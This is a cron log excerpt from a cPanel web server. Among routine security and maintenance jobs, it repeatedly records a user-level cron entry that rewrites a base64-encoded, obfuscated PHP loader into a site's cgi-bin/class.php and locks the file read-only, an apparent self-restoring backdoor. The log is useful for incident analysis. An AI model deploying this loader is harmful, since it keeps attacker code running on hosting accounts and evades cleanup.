Sep  7 16:05:01 server CROND[6939]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  7 16:05:01 server CROND[6943]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  7 16:05:01 server CROND[6941]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 16:06:01 server CROND[7798]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 16:06:01 server CROND[7799]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 16:06:01 server CROND[7800]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 16:07:01 server CROND[8248]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 16:07:01 server CROND[8249]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 16:07:01 server CROND[8250]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 16:08:01 server CROND[8627]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 16:08:01 server CROND[8628]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 16:08:01 server CROND[8629]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 16:09:01 server CROND[9010]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 16:09:01 server CROND[9011]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Sep  7 16:09:01 server CROND[9013]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 16:09:01 server CROND[9012]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 16:10:01 server CROND[9560]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  7 16:10:01 server CROND[9561]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  7 16:10:01 server CROND[9568]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 16:10:01 server CROND[9571]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  7 16:10:01 server CROND[9574]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 16:10:01 server CROND[9576]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  7 16:10:01 server CROND[9581]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 16:10:01 server CROND[9582]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  7 16:11:01 server CROND[10475]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 16:11:01 server CROND[10476]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 16:11:01 server CROND[10477]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 16:12:01 server CROND[10855]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 16:12:01 server CROND[10856]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 16:12:01 server CROND[10858]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  7 16:12:01 server CROND[10857]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 16:13:01 server CROND[11243]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 16:13:01 server CROND[11245]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 16:13:01 server CROND[11244]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 16:14:01 server CROND[11628]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 16:14:01 server CROND[11630]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 16:14:01 server CROND[11629]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 16:15:01 server CROND[12021]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 16:15:01 server CROND[12022]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  7 16:15:01 server CROND[12037]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 16:15:01 server CROND[12034]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  7 16:15:01 server CROND[12041]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 16:15:01 server CROND[12042]: (root) CMD (/usr/local/cpanel/scripts/upcp --security)
Sep  7 16:15:01 server CROND[12040]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  7 16:15:01 server CROND[12035]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  7 16:15:01 server CROND[12043]: (root) CMD (/usr/local/cpanel/bin/dbindex >/dev/null 2>&1)
Sep  7 16:16:01 server CROND[12991]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 16:16:01 server CROND[12992]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 16:16:01 server CROND[12994]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 16:17:01 server CROND[13369]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 16:17:01 server CROND[13371]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 16:17:01 server CROND[13370]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFww